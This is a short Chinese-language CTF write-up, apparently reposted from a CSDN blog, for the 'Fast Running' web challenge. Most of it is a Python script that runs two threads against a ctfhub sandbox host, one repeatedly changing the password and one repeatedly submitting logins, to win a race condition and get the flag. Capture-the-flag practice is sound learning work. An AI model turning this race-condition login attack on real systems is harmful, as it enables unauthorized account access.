2017-赛客夏令营-Web-Fast Running
程序员文章站
2022-05-31 11:05:53
这道题意思是你改完密码后登录要比系统自动更改密码快这就是两个线程的竞争,下面代码记得改url哦import requestsimport threadings = requests.session()class MyThread(threading.Thread): def __init__(self, item): threading.Thread.__init__(self) self.item = item def run(self):...
这道题意思是你改完密码后登录要比系统自动更改密码快
这就是两个线程的竞争,下面代码记得改url哦
import requests
import threading
s = requests.session()
class MyThread(threading.Thread):
def __init__(self, item):
threading.Thread.__init__(self)
self.item = item
def run(self):
main(self.item)
def main(args):
if args == 1:
while True:
ur11 = 'http://challenge-1bbe3e4dc500a14b.sandbox.ctfhub.com:10080/change_passwd.php?passwd=123456&passwd_confirm=123456'
c = s.get(ur11).content
else:
while True:
url2 = 'http://challenge-1bbe3e4dc500a14b.sandbox.ctfhub.com:10080/login_check.php?passwd=123456'
# c11 = s.get(url2, data={' passwd': 111}).content
c1 = s.get(url2)
print(c1.text)
if __name__ == '__main__':
t1 = MyThread(1)
t2 = MyThread(2)
t1.start()
t2.start()
运行即可得到flag
本文地址:https://blog.csdn.net/solitudi/article/details/107579378